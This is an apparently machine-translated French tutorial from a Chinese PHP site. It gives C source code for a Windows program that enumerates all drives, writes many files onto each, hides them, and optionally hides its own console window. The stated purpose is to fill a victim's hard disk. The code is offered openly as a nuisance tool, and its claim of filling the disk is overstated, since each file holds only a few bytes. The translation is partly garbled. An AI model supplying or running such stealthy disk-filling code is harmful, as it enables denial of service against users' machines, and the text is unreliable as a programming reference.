Maison >développement back-end >Tutoriel C#.Net >C/C facilite l'écriture de programmes capables de remplir votre disque dur

C/C facilite l'écriture de programmes capables de remplir votre disque dur

黄舟
黄舟original
2017-01-22 14:15:072076parcourir

À propos de l'écriture d'un programme capable de remplir le disque dur

Pensons d'abord à l'idée :

Étape 1 : Obtenez la lettre du lecteur logique

Étape 2 : Créer un fichier

Étape 3 : Écrire des données dans le fichier

Exigences d'extension :

Une : Masquer la fenêtre

Deux : Définir le fichier comme étant masqué attribut


Ci-dessous, nous introduisons une API pour les idées ci-dessus et donnons le code source après l'avoir accepté


GetLogicalDriveStrings function

Remplit un tampon avec des chaînes qui spécifient les lecteurs valides dans le système.

DWORD WINAPI GetLogicalDriveStrings(  
  _In_  DWORD  nBufferLength,  
  _Out_ LPTSTR lpBuffer  
);

C/C facilite lécriture de programmes capables de remplir votre disque dur

Cette fonction lit les disques disponibles dans le système dans lpBuffer

En cas de succès, renvoie la longueur totale obtenue

Il y a deux cas d'échec : l'un est que le tampon n'est pas assez long, et l'autre est d'autres problèmes

<.>

À propos des autres fonctions de l'API, sont relativement simples, et certaines fonctions peuvent être connues grâce à la signification du nom, je ne les présenterai pas ici. Il y a aussi des commentaires dans le code source. 🎜>Regardez le code source ci-dessous

Définissez les propriétés de navigation dans les fichiers :

#include <Windows.h>  
  
int main()  
{  
    //FreeConsole();    //隐藏控制台  
  
    char strDriveStrings[MAXBYTE] = { 0 };  
  
    //获取逻辑地址  
    DWORD dwDriveStrLen = GetLogicalDriveStringsA(MAXBYTE, strDriveStrings);  
  
    for (size_t i = 0; i < dwDriveStrLen; i += 4)    //每4个字节表示一个盘符               
    {  
        char strTargetPath[MAX_PATH] = { 0 }, strRoot[4] = { 0 };  
        strncpy_s(strRoot,&strDriveStrings[i], 4);  
        strcpy_s(strTargetPath, strRoot);  
  
        //创建100个文件  
        for (int j = 0; j < 100; j++)  
        {  
            char TempStrTargetPath[MAX_PATH];  
            strcpy_s(TempStrTargetPath, strTargetPath);  
            char FileName[MAXBYTE];  
            char Date[MAXBYTE] = "11111";  
            wsprintf(FileName, "%d.txt", j);  
            strcat_s(TempStrTargetPath, FileName);  
  
            //创建文件  
            HANDLE hFile;  
            hFile = CreateFileA(TempStrTargetPath, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);  
            if (hFile == INVALID_HANDLE_VALUE)  
                continue;  
            DWORD Pointer;  
  
            //写入数据  
            WriteFile(hFile, &Date, strlen(Date), &Pointer, NULL);  
            CloseHandle(hFile);  
  
            //将s所指向的某一块内存中的前n个 字节的内容全部设置为ch指定的ASCII值  
            memset(FileName, 0, sizeof(FileName));  
  
            //设置为隐藏  
            SetFileAttributesA(TempStrTargetPath, FILE_ATTRIBUTE_HIDDEN);  
        }  
          
    }  
    return 0;  
}

Les résultats d'exécution sont les suivants : C/C facilite lécriture de programmes capables de remplir votre disque dur

Si les problèmes suivants surviennent : C/C facilite lécriture de programmes capables de remplir votre disque dur

Modifiez le jeu de caractères comme suit :C/C facilite lécriture de programmes capables de remplir votre disque dur

Donc, tant que vous créez quelques fichiers et données supplémentaires, le disque dur sera rempli C/C facilite lécriture de programmes capables de remplir votre disque dur

Ce qui précède est le contenu de C/C pour écrire facilement des programmes qui peuvent remplir le disque dur. plus de contenu connexe, veuillez faire attention au site Web PHP chinois (www.php.cn) !

Déclaration:
Le contenu de cet article est volontairement contribué par les internautes et les droits d'auteur appartiennent à l'auteur original. Ce site n'assume aucune responsabilité légale correspondante. Si vous trouvez un contenu suspecté de plagiat ou de contrefaçon, veuillez contacter admin@php.cn